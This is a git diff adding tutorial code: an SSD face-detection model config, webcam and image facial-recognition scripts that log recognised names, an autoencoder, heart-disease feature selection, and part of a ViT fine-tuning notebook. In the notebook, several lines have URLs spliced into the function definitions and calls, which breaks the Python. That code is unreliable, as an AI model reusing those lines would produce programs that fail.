"conv6_2_mbox_conf_perm" + top: "conv6_2_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv6_2_mbox_priorbox" + type: "PriorBox" + bottom: "conv6_2_h" + bottom: "data" + top: "conv6_2_mbox_priorbox" + prior_box_param { + min_size: 111.0 + max_size: 162.0 + aspect_ratio: 2 + aspect_ratio: 3 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 32 + offset: 0.5 + } +} +layer { + name: "conv7_2_mbox_loc" + type: "Convolution" + bottom: "conv7_2_h" + top: "conv7_2_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 24 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv7_2_mbox_loc_perm" + type: "Permute" + bottom: "conv7_2_mbox_loc" + top: "conv7_2_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv7_2_mbox_loc_flat" + type: "Flatten" + bottom: "conv7_2_mbox_loc_perm" + top: "conv7_2_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv7_2_mbox_conf" + type: "Convolution" + bottom: "conv7_2_h" + top: "conv7_2_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 12 # 126 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv7_2_mbox_conf_perm" + type: "Permute" + bottom: "conv7_2_mbox_conf" + top: "conv7_2_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv7_2_mbox_conf_flat" + type: "Flatten" + bottom: "conv7_2_mbox_conf_perm" + top: "conv7_2_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv7_2_mbox_priorbox" + type: "PriorBox" + bottom: "conv7_2_h" + bottom: "data" + top: "conv7_2_mbox_priorbox" + prior_box_param { + min_size: 162.0 + max_size: 213.0 + aspect_ratio: 2 + aspect_ratio: 3 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 64 + offset: 0.5 + } +} +layer { + name: "conv8_2_mbox_loc" + type: "Convolution" + bottom: "conv8_2_h" + top: "conv8_2_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 16 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv8_2_mbox_loc_perm" + type: "Permute" + bottom: "conv8_2_mbox_loc" + top: "conv8_2_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv8_2_mbox_loc_flat" + type: "Flatten" + bottom: "conv8_2_mbox_loc_perm" + top: "conv8_2_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv8_2_mbox_conf" + type: "Convolution" + bottom: "conv8_2_h" + top: "conv8_2_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 8 # 84 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv8_2_mbox_conf_perm" + type: "Permute" + bottom: "conv8_2_mbox_conf" + top: "conv8_2_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv8_2_mbox_conf_flat" + type: "Flatten" + bottom: "conv8_2_mbox_conf_perm" + top: "conv8_2_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv8_2_mbox_priorbox" + type: "PriorBox" + bottom: "conv8_2_h" + bottom: "data" + top: "conv8_2_mbox_priorbox" + prior_box_param { + min_size: 213.0 + max_size: 264.0 + aspect_ratio: 2 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 100 + offset: 0.5 + } +} +layer { + name: "conv9_2_mbox_loc" + type: "Convolution" + bottom: "conv9_2_h" + top: "conv9_2_mbox_loc" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 16 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv9_2_mbox_loc_perm" + type: "Permute" + bottom: "conv9_2_mbox_loc" + top: "conv9_2_mbox_loc_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv9_2_mbox_loc_flat" + type: "Flatten" + bottom: "conv9_2_mbox_loc_perm" + top: "conv9_2_mbox_loc_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv9_2_mbox_conf" + type: "Convolution" + bottom: "conv9_2_h" + top: "conv9_2_mbox_conf" + param { + lr_mult: 1 + decay_mult: 1 + } + param { + lr_mult: 2 + decay_mult: 0 + } + convolution_param { + num_output: 8 # 84 + pad: 1 + kernel_size: 3 + stride: 1 + weight_filler { + type: "xavier" + } + bias_filler { + type: "constant" + value: 0 + } + } +} +layer { + name: "conv9_2_mbox_conf_perm" + type: "Permute" + bottom: "conv9_2_mbox_conf" + top: "conv9_2_mbox_conf_perm" + permute_param { + order: 0 + order: 2 + order: 3 + order: 1 + } +} +layer { + name: "conv9_2_mbox_conf_flat" + type: "Flatten" + bottom: "conv9_2_mbox_conf_perm" + top: "conv9_2_mbox_conf_flat" + flatten_param { + axis: 1 + } +} +layer { + name: "conv9_2_mbox_priorbox" + type: "PriorBox" + bottom: "conv9_2_h" + bottom: "data" + top: "conv9_2_mbox_priorbox" + prior_box_param { + min_size: 264.0 + max_size: 315.0 + aspect_ratio: 2 + flip: true + clip: false + variance: 0.1 + variance: 0.1 + variance: 0.2 + variance: 0.2 + step: 300 + offset: 0.5 + } +} +layer { + name: "mbox_loc" + type: "Concat" + bottom: "conv4_3_norm_mbox_loc_flat" + bottom: "fc7_mbox_loc_flat" + bottom: "conv6_2_mbox_loc_flat" + bottom: "conv7_2_mbox_loc_flat" + bottom: "conv8_2_mbox_loc_flat" + bottom: "conv9_2_mbox_loc_flat" + top: "mbox_loc" + concat_param { + axis: 1 + } +} +layer { + name: "mbox_conf" + type: "Concat" + bottom: "conv4_3_norm_mbox_conf_flat" + bottom: "fc7_mbox_conf_flat" + bottom: "conv6_2_mbox_conf_flat" + bottom: "conv7_2_mbox_conf_flat" + bottom: "conv8_2_mbox_conf_flat" + bottom: "conv9_2_mbox_conf_flat" + top: "mbox_conf" + concat_param { + axis: 1 + } +} +layer { + name: "mbox_priorbox" + type: "Concat" + bottom: "conv4_3_norm_mbox_priorbox" + bottom: "fc7_mbox_priorbox" + bottom: "conv6_2_mbox_priorbox" + bottom: "conv7_2_mbox_priorbox" + bottom: "conv8_2_mbox_priorbox" + bottom: "conv9_2_mbox_priorbox" + top: "mbox_priorbox" + concat_param { + axis: 2 + } +} + +layer { + name: "mbox_conf_reshape" + type: "Reshape" + bottom: "mbox_conf" + top: "mbox_conf_reshape" + reshape_param { + shape { + dim: 0 + dim: -1 + dim: 2 + } + } +} +layer { + name: "mbox_conf_softmax" + type: "Softmax" + bottom: "mbox_conf_reshape" + top: "mbox_conf_softmax" + softmax_param { + axis: 2 + } +} +layer { + name: "mbox_conf_flatten" + type: "Flatten" + bottom: "mbox_conf_softmax" + top: "mbox_conf_flatten" + flatten_param { + axis: 1 + } +} + +layer { + name: "detection_out" + type: "DetectionOutput" + bottom: "mbox_loc" + bottom: "mbox_conf_flatten" + bottom: "mbox_priorbox" + top: "detection_out" + include { + phase: TEST + } + detection_output_param { + num_classes: 2 + share_location: true + background_label_id: 0 + nms_param { + nms_threshold: 0.45 + top_k: 400 + } + code_type: CENTER_SIZE + keep_top_k: 200 + confidence_threshold: 0.01 + clip: 1 + } +} \ No newline at end of file diff --git a/machine-learning/face_detection/weights/res10_300x300_ssd_iter_140000_fp16.caffemodel b/machine-learning/face_detection/weights/res10_300x300_ssd_iter_140000_fp16.caffemodel new file mode 100644 index 00000000..0e9cd4ab Binary files /dev/null and b/machine-learning/face_detection/weights/res10_300x300_ssd_iter_140000_fp16.caffemodel differ diff --git a/machine-learning/facial-recognition-system/README.md b/machine-learning/facial-recognition-system/README.md new file mode 100644 index 00000000..b7b0255e --- /dev/null +++ b/machine-learning/facial-recognition-system/README.md @@ -0,0 +1 @@ +# [How to Make a Facial Recognition System in Python](https://thepythoncode.com/article/create-a-facial-recognition-system-in-python) \ No newline at end of file diff --git a/machine-learning/facial-recognition-system/TrainingImages/Hazard.jfif b/machine-learning/facial-recognition-system/TrainingImages/Hazard.jfif new file mode 100644 index 00000000..0073f5d6 Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/Hazard.jfif differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/Salah.jfif b/machine-learning/facial-recognition-system/TrainingImages/Salah.jfif new file mode 100644 index 00000000..91a3619a Binary files /dev/null and b/machine-learning/facial-recognition-system/TrainingImages/Salah.jfif differ diff --git a/machine-learning/facial-recognition-system/TrainingImages/mane.jfif b/machine-learning/facial-recognition-system/TrainingImages/mane.jfif new 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--git a/machine-learning/facial-recognition-system/facial_rec_image_upload.py b/machine-learning/facial-recognition-system/facial_rec_image_upload.py new file mode 100644 index 00000000..7d5cad6f --- /dev/null +++ b/machine-learning/facial-recognition-system/facial_rec_image_upload.py @@ -0,0 +1,113 @@ +import cv2, numpy as np, face_recognition, os, tkinter as tk +from tkinter import filedialog + +# Initialize empty lists to store images and people's names. +known_faces = [] +face_labels = [] + +# Get a list of all images in the TrainingImages directory. +image_files = os.listdir("TrainingImages") + +# Loop through the images in the directory. +for image_name in image_files: + # Read each image and add it to the known_faces list. + current_image = cv2.imread(f'TrainingImages/{image_name}') + known_faces.append(current_image) + + # Extract the person's name by removing the file extension and add it to the face_labels list. + face_labels.append(os.path.splitext(image_name)[0]) + + +# Function to get face encodings from a list of images. +def get_face_encodings(images): + encoding_list = [] + for image in images: + # Convert the image to RGB format. RGB is Red Green Blue. + image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) + # Get the face encoding for the first face found in the image. + face_encoding = face_recognition.face_encodings(image)[0] + encoding_list.append(face_encoding) + return encoding_list + + +# Get face encodings for known images. +known_face_encodings = get_face_encodings(known_faces) + + +# Function to handle image selection and recognition +def select_and_recognize_image(): + # Use a file dialog to let the user select an image. + selected_file = filedialog.askopenfilename() + if selected_file: + # Read the selected image. + selected_image = cv2.imread(selected_file) + + # Convert the image to RGB format. + selected_image_rgb = cv2.cvtColor(selected_image, cv2.COLOR_BGR2RGB) + + # Get face encodings for the selected image. + selected_face_encodings = face_recognition.face_encodings(selected_image_rgb) + + match_found = False # Flag to track if a match is found. + + if not selected_face_encodings: + print("No faces found in the selected image.") + else: + # Loop through the detected faces in the selected image. + for face_encoding in selected_face_encodings: + # Compare the current face encoding with the known encodings. + matches = face_recognition.compare_faces(known_face_encodings, face_encoding) + face_distances = face_recognition.face_distance(known_face_encodings, face_encoding) + + # Find the index of the best match. That is, the best resemblance. + best_match_index = np.argmin(face_distances) + + if matches[best_match_index]: + # If a match is found, get the name of the recognized person. + recognized_name = face_labels[best_match_index].upper() + + # Draw a green rectangle around the recognized face. + top, right, bottom, left = face_recognition.face_locations(selected_image_rgb)[0] + cv2.rectangle(selected_image, (left, top), (right, bottom), (0, 255, 0), 2,) + + # Display the name below the face. + cv2.putText(selected_image, recognized_name, (left + 6, bottom - 6), cv2.FONT_HERSHEY_COMPLEX, 0.5, + (0, 255, 0), 2) + + match_found = True # Match found flag. + break # Exit loop as soon as a match is found. + + if not match_found: + # If no match is found, draw a red rectangle and display No Match. + top, right, bottom, left = face_recognition.face_locations(selected_image_rgb)[0] + cv2.rectangle(selected_image, (left, top), (right, bottom), (0, 0, 255), 2) + cv2.putText(selected_image, "No match", (left + 6, bottom - 6), cv2.FONT_HERSHEY_COMPLEX, 1, + (0, 0, 255), 2) + + # Show the image with the rectangle and name. + cv2.imshow("Recognized Image", selected_image) + known_faces.clear()# To prevent the program from slowing down due to excess unnecessary encodings. + cv2.waitKey(0) + cv2.destroyAllWindows() + + +# Create the main application window. +root = tk.Tk() +root.title("Face Recognition Program") + +# Create a button to select an image for recognition. +select_button = tk.Button(root, text="Select Image for Recognition", command=select_and_recognize_image) +select_button.pack(pady=10) + + +# Function to quit the application. +def quit_app(): + root.quit() + + +# Create a quit button to exit the application. +quit_button = tk.Button(root, text="Quit", command=quit_app) +quit_button.pack(pady=10) + +# Start the Tkinter event loop. +root.mainloop() diff --git a/machine-learning/facial-recognition-system/facial_rec_live_camera.py b/machine-learning/facial-recognition-system/facial_rec_live_camera.py new file mode 100644 index 00000000..689eac6a --- /dev/null +++ b/machine-learning/facial-recognition-system/facial_rec_live_camera.py @@ -0,0 +1,155 @@ +import tkinter as tk, numpy as np, cv2, os, face_recognition +from datetime import datetime + +# Initialize empty lists to store images and people's names. +known_faces = [] +face_labels = [] + +# Get a list of all images in the TrainingImages directory. +image_files = os.listdir("TrainingImages") + +# Loop through the images in the directory. +for image_name in image_files: + # Read each image and add it to the known_faces list. + current_image = cv2.imread(f'TrainingImages/{image_name}') + known_faces.append(current_image) + + # Extract the person's name by removing the file extension and add it to the face_labels list. + face_labels.append(os.path.splitext(image_name)[0]) + + +# Function to get face encodings from a list of images. +def get_face_encodings(images): + encoding_list = [] + for image in images: + # Convert the image to RGB format. RGB is Red Green Blue. + image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) + # Get the face encoding for the first face found in the image. + face_encoding = face_recognition.face_encodings(image)[0] + encoding_list.append(face_encoding) + return encoding_list + + +# Define a function to document the recognized face. +def document_recognised_face(name, filename='records.csv'): + # Get the current date in the YYYY-MM-DD format. + capture_date = datetime.now().strftime("%Y-%m-%d") + + # Check if the specified CSV file exists. + if not os.path.isfile(filename): + # If the file doesn't exist, create it and write the header. + with open(filename, 'w') as f: + f.write('Name,Date,Time') # Create the file and write the header. + + # Open the CSV file for reading and writing ('r+') + with open(filename, 'r+') as file: + # Read all lines from the file into a list. + lines = file.readlines() + + # Extract the names from existing lines in the CSV. + existing_names = [line.split(",")[0] for line in lines] + + # Check if the provided name is not already in the existing names. + if name not in existing_names: + # Get the current time in the HH:MM:SS format. + now = datetime.now() + current_time = now.strftime("%H:%M:%S") + + # Write the new entry to the CSV file including name, capture date, and time. + file.write(f'\n{name},{capture_date},{current_time}') + + +# Get face encodings for known images. +known_face_encodings = get_face_encodings(known_faces) + + +# Function to start the Facial recognition program. +def start_recognition_program(): + # Open a webcam for capturing video. If you are using your computer's webcam, change 1 to 0. + # If using an external webcam, leave it as 1. + video_capture = cv2.VideoCapture(1) + + while True: + # Read a frame from the webcam. + frame = video_capture.read() + + # Check if the frame is not None (indicating a successful frame capture). + if frame is not None: + frame = frame[1] # The frame is usually the second element of the tuple returned by video_capture.read(). + + # Resize the image to a smaller size. + resized_frame = cv2.resize(frame, (0, 0), None, 0.25, 0.25) + resized_frame = cv2.cvtColor(resized_frame, cv2.COLOR_BGR2RGB) + + # Detect faces in the current frame. + face_locations = face_recognition.face_locations(resized_frame) + + # Get face encodings for the faces detected in the current frame. + current_face_encodings = face_recognition.face_encodings(resized_frame, face_locations) + + # Loop through the detected faces in the current frame. + for face_encoding, location in zip(current_face_encodings, face_locations): + # Compare the current face encoding with the known encodings. + matches = face_recognition.compare_faces(known_face_encodings, face_encoding) + face_distances = face_recognition.face_distance(known_face_encodings, face_encoding) + + # Find the index of the best match. That is, the best resemblance. + best_match_index = np.argmin(face_distances) + + if matches[best_match_index]: + # If a match is found, get the name of the recognized person. + recognized_name = face_labels[best_match_index].upper() + + # Extract face location coordinates. + top, right, bottom, left = location + top, right, bottom, left = top * 4, right * 4, bottom * 4, left * 4 + + # Draw a rectangle around the recognized face. + cv2.rectangle(frame, (left, top), (right, bottom), (0, 255, 0), 2) + + # Draw a filled rectangle and display the name above the face. + cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 255, 0), cv2.FILLED) + cv2.putText(frame, recognized_name, (left + 6, bottom - 6), cv2.FONT_HERSHEY_COMPLEX, 1, + (255, 255, 255), 2) + document_recognised_face(recognized_name) + + # Display the image with recognized faces. + cv2.imshow("Webcam", frame) + + # Check for key press + key = cv2.waitKey(1) & 0xFF + + # Check if the 'q' key is pressed to exit the program. + if key == ord('q'): + break + + # Release the video capture and close all OpenCV windows. + video_capture.release() + cv2.destroyAllWindows() + + +# Create the main application window. +root = tk.Tk() +root.title("Face Recognition Program") + +# Create a label +label = tk.Label(root, text="Click the button to start the facial recognition program") +label.pack(pady=10) + +# Create a button to start the program +start_button = tk.Button(root, text="Start Recognition", command=start_recognition_program) +start_button.pack(pady=10) + + +# Function to quit the application. This is for quitting the entire program. To quit the webcam stream, hit q. +def quit_app(): + root.quit() + cv2.destroyAllWindows() + + +# Create a quit button to exit the application. +exit_button = tk.Button(root, text="Close", command=quit_app) +exit_button.pack(pady=10) + +# Start the Tkinter event loop. +root.mainloop() diff --git a/machine-learning/facial-recognition-system/requirements.txt b/machine-learning/facial-recognition-system/requirements.txt new file mode 100644 index 00000000..bcf5e075 --- /dev/null +++ b/machine-learning/facial-recognition-system/requirements.txt @@ -0,0 +1,4 @@ +cmake +dlib==19.18.0 +face-recognition +opencv-python \ No newline at end of file diff --git a/machine-learning/feature-extraction-autoencoders/README.md b/machine-learning/feature-extraction-autoencoders/README.md new file mode 100644 index 00000000..bdd3ef32 --- /dev/null +++ b/machine-learning/feature-extraction-autoencoders/README.md @@ -0,0 +1,4 @@ +# [Autoencoders for Dimensionality Reduction using TensorFlow in Python](https://www.thepythoncode.com/article/feature-extraction-dimensionality-reduction-autoencoders-python-keras) +To run this: +- `pip install -r requirements.txt` +- Download the dataset (`gafgyt_danmini_doorbell_train.csv` and `gafgyt_danmini_doorbell_test.csv`) from [here](https://www.kaggle.com/datasets/saurabhshahane/anomaly-detection-using-deep-learning?resource=download) \ No newline at end of file diff --git a/machine-learning/feature-extraction-autoencoders/dimensionality_reduction_autoencoders.py b/machine-learning/feature-extraction-autoencoders/dimensionality_reduction_autoencoders.py new file mode 100644 index 00000000..3d3f0ea8 --- /dev/null +++ b/machine-learning/feature-extraction-autoencoders/dimensionality_reduction_autoencoders.py @@ -0,0 +1,47 @@ +import pandas as pd +from sklearn.preprocessing import MinMaxScaler +from tensorflow.keras.models import Model +from tensorflow.keras.layers import Input, Dense, LeakyReLU + + +# Reading Data +df = pd.read_csv("gafgyt_danmini_doorbell_train.csv") +df_test = pd.read_csv("gafgyt_danmini_doorbell_test.csv") +# Keeping only features columns for the train set +df_features = df.loc[:, df.columns != "target"] +print(f"Shape of the train set: {df_features.shape}") +y_train = df.target +# Keeping only features for the test set +df_features_test = df_test.loc[:, df_test.columns != "target"] +y_test = df_test.target +# Applying the normalization on the train then test set +scaler = MinMaxScaler() +df_features = scaler.fit_transform(df_features) +df_features_test = scaler.transform(df_features_test) + +# Implementation of the Autoencoder Model +# input from df_features, dense64, leakyrelu, dense32, leakyrelu, dense16, tanh +input = Input(shape=df_features.shape[1:]) +enc = Dense(64)(input) +enc = LeakyReLU()(enc) +enc = Dense(32)(enc) +enc = LeakyReLU()(enc) +# latent space with tanh +latent_space = Dense(16, activation="tanh")(enc) + +dec = Dense(32)(latent_space) +dec = LeakyReLU()(dec) +dec = Dense(64)(dec) +dec = LeakyReLU()(dec) + +dec = Dense(units=df_features.shape[1], activation="sigmoid")(dec) +# init model +autoencoder = Model(input, dec) +# compile model +autoencoder.compile(optimizer = "adam",metrics=["mse"],loss="mse") +# train model +autoencoder.fit(df_features, df_features, epochs=50, batch_size=32, validation_split=0.25) +encoder = Model(input, latent_space) +# predict on test set +test_au_features = encoder.predict(df_features_test) +print(test_au_features.shape) \ No newline at end of file diff --git a/machine-learning/feature-extraction-autoencoders/requirements.txt b/machine-learning/feature-extraction-autoencoders/requirements.txt new file mode 100644 index 00000000..77747422 --- /dev/null +++ b/machine-learning/feature-extraction-autoencoders/requirements.txt @@ -0,0 +1,3 @@ +tensorflow +pandas +sklearn \ No newline at end of file diff --git a/machine-learning/feature-selection/README.md b/machine-learning/feature-selection/README.md new file mode 100644 index 00000000..3fafa519 --- /dev/null +++ b/machine-learning/feature-selection/README.md @@ -0,0 +1,4 @@ +# [Feature Selection using Scikit-Learn in Python](https://www.thepythoncode.com/article/feature-selection-and-feature-engineering-using-python) +To run this: +- `pip3 install -r requirements.txt` +- You can either use the `feature_selection.ipynb` notebook, or run the `feature_selection.py` file. \ No newline at end of file diff --git a/machine-learning/feature-selection/data/Heart_Disease_Prediction.csv b/machine-learning/feature-selection/data/Heart_Disease_Prediction.csv new file mode 100644 index 00000000..e377cb80 --- /dev/null +++ b/machine-learning/feature-selection/data/Heart_Disease_Prediction.csv @@ -0,0 +1,271 @@ +Age,Sex,Chest pain type,BP,Cholesterol,FBS over 120,EKG results,Max HR,Exercise angina,ST depression,Slope of ST,Number of vessels fluro,Thallium,Heart Disease +70,1,4,130,322,0,2,109,0,2.4,2,3,3,Presence +67,0,3,115,564,0,2,160,0,1.6,2,0,7,Absence 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a/machine-learning/feature-selection/feature_selection.ipynb b/machine-learning/feature-selection/feature_selection.ipynb new file mode 100644 index 00000000..512c8cd3 --- /dev/null +++ b/machine-learning/feature-selection/feature_selection.ipynb @@ -0,0 +1,123 @@ +{ + "metadata": { + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.7-final" + }, + "orig_nbformat": 2, + "kernelspec": { + "name": "python36664bitea6884f10f474b21a2a2f022451e0d09", + "display_name": "Python 3.6.6 64-bit", + "language": "python" + } + }, + "nbformat": 4, + "nbformat_minor": 2, + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import numpy as np\n", + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "from sklearn.model_selection import train_test_split\n", + "from sklearn.preprocessing import MinMaxScaler\n", + "from sklearn.feature_selection import SelectKBest,chi2,RFE\n", + "from sklearn.ensemble import RandomForestClassifier\n", + "\n", + "df = pd.read_csv(\"data/Heart_Disease_Prediction.csv\")\n", + "print(df.shape)\n", + "\n", + "df.head(5)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "label = df[\"Heart Disease\"]\n", + "df.drop(\"Heart Disease\", axis=1, inplace=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "print(label.value_counts())\n", + "label.value_counts().plot(kind=\"bar\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "categorical_features = [\"Sex\", \"Chest pain type\", \"FBS over 120\", \"EKG results\", \"Exercise angina\", \"Slope of ST\", \"Number of vessels fluro\", \"Thallium\"]\n", + "df[categorical_features] = df[categorical_features].astype(\"category\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "continuous_features = set(df.columns) - set(categorical_features)\n", + "scaler = MinMaxScaler()\n", + "df_norm = df.copy()\n", + "df_norm[list(continuous_features)] = scaler.fit_transform(df[list(continuous_features)])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "X_new = SelectKBest(k=5, score_func=chi2).fit_transform(df_norm, label)\n", + "X_new" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "rfe = RFE(estimator=RandomForestClassifier(), n_features_to_select=5)\n", + "X_new = rfe.fit_transform(df_norm, label)\n", + "X_new" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "clf = RandomForestClassifier()\n", + "clf.fit(df_norm, label)\n", + "# create a figure to plot a bar, where x axis is features, and Y indicating the importance of each feature\n", + "plt.figure(figsize=(12,12))\n", + "plt.bar(df_norm.columns, clf.feature_importances_)\n", + "plt.xticks(rotation=45)" + ] + } + ] +} \ No newline at end of file diff --git a/machine-learning/feature-selection/feature_selection.py b/machine-learning/feature-selection/feature_selection.py new file mode 100644 index 00000000..6d43c289 --- /dev/null +++ b/machine-learning/feature-selection/feature_selection.py @@ -0,0 +1,59 @@ +# To add a new cell, type '# %%' +# To add a new markdown cell, type '# %% [markdown]' +# %% +import numpy as np +import pandas as pd +import matplotlib.pyplot as plt +from sklearn.model_selection import train_test_split +from sklearn.preprocessing import MinMaxScaler +from sklearn.feature_selection import SelectKBest,chi2,RFE +from sklearn.ensemble import RandomForestClassifier + +df = pd.read_csv("data/Heart_Disease_Prediction.csv") +print(df.shape) + +df.head(5) + + +# %% +label = df["Heart Disease"] +df.drop("Heart Disease", axis=1, inplace=True) + + +# %% +print(label.value_counts()) +label.value_counts().plot(kind="bar") + + +# %% +categorical_features = ["Sex", "Chest pain type", "FBS over 120", "EKG results", "Exercise angina", "Slope of ST", "Number of vessels fluro", "Thallium"] +df[categorical_features] = df[categorical_features].astype("category") + + +# %% +continuous_features = set(df.columns) - set(categorical_features) +scaler = MinMaxScaler() +df_norm = df.copy() +df_norm[list(continuous_features)] = scaler.fit_transform(df[list(continuous_features)]) + + +# %% +X_new = SelectKBest(k=5, score_func=chi2).fit_transform(df_norm, label) +X_new + + +# %% +rfe = RFE(estimator=RandomForestClassifier(), n_features_to_select=5) +X_new = rfe.fit_transform(df_norm, label) +X_new + + +# %% +clf = RandomForestClassifier() +clf.fit(df_norm, label) +# create a figure to plot a bar, where x axis is features, and Y indicating the importance of each feature +plt.figure(figsize=(12,12)) +plt.bar(df_norm.columns, clf.feature_importances_) +plt.xticks(rotation=45) + + diff --git a/machine-learning/feature-selection/requirements.txt b/machine-learning/feature-selection/requirements.txt new file mode 100644 index 00000000..0e7c48ba --- /dev/null +++ b/machine-learning/feature-selection/requirements.txt @@ -0,0 +1,4 @@ +numpy +pandas +matplotlib +sklearn \ No newline at end of file diff --git a/machine-learning/finetuning-vit-image-classification/FineTuningViTForImageClassification_PythonCodeTutorial.ipynb b/machine-learning/finetuning-vit-image-classification/FineTuningViTForImageClassification_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..abc2e9e7 --- /dev/null +++ b/machine-learning/finetuning-vit-image-classification/FineTuningViTForImageClassification_PythonCodeTutorial.ipynb @@ -0,0 +1,7356 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "7LhpxluXAy0g" + }, + "outputs": [], + "source": [ + "!pip install transformers evaluate datasets" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "eBq4mm7cA4Cp" + }, + "outputs": [], + "source": [ + "import requests\n", + "import torch\n", + "from PIL import Image\n", + "from transformers import *\n", + "from tqdm import tqdm\n", + "\n", + "device = \"cuda\" if torch.cuda.is_available() else \"cpu\"" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "JlLN5LTVA5eJ" + }, + "outputs": [], + "source": [ + "# the model name\n", + "model_name = \"google/vit-base-patch16-224\"\n", + "# load the image processor\n", + "image_processor = ViTImageProcessor.from_pretrained(model_name)\n", + "# loading the pre-trained model\n", + "model = ViTForImageClassification.from_pretrained(model_name).to(device)" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": { + "id": "B5z-Sqz4BiPQ" + }, + "outputs": [], + "source": [ + "import urllib.parse as parse\n", + "import os\n", + "\n", + "# a function to determine whether a string is a URL or not\n", + "def is_url(https://github.com/string):\n", + " try:\n", + " result = parse.urlparse(string)\n", + " return all([result.scheme, result.netloc, result.path])\n", + " except:\n", + " return False\n", + " \n", + "# a function to load an image\n", + "def load_image(image_path):\n", + " if is_url(https://github.com/image_path):\n", + " return Image.open(requests.get(image_path, stream=True).raw)\n", + " elif os.path.exists(image_path):\n", + " return Image.open(image_path)" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": { + "id": "MgfKn08vByse" + }, + "outputs": [], + "source": [ + "def get_prediction(model, url_or_path):\n", + " # load the image\n", + " img = load_image(url_or_path)\n", + " # preprocessing the image\n", + " pixel_values = image_processor(img, return_tensors=\"pt\")[\"pixel_values\"].to(device)\n", + " # perform inference\n", + " output = model(pixel_values)\n", + " # get the label id and return the class name\n", + " return model.config.id2label[int(output.logits.softmax(dim=1).argmax())]" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": { + "id": "q8n-To7RsyPx", + "colab": { + "base_uri": "https://localhost:8080/", + "height": 35 + }, + "outputId": "aa4a7cbb-7411-4822-f3b3-e383b6396809" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "'Indian elephant, Elephas maximus'" + ], + "application/vnd.google.colaboratory.intrinsic+json": { + "type": "string" + } + }, + "metadata": {}, + "execution_count": 6 + } + ], + "source": [ + "get_prediction(model, \"http://images.cocodataset.org/test-stuff2017/000000000128.jpg/")" + ] + }, + { + "cell_type": "markdown", + "source": [ + "# Loading our Dataset" + ], + "metadata": { + "id": "suO4z5NCDU8v" + } + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": { + "id": "SlxPT1XaD9VV", + "colab": { + "base_uri": 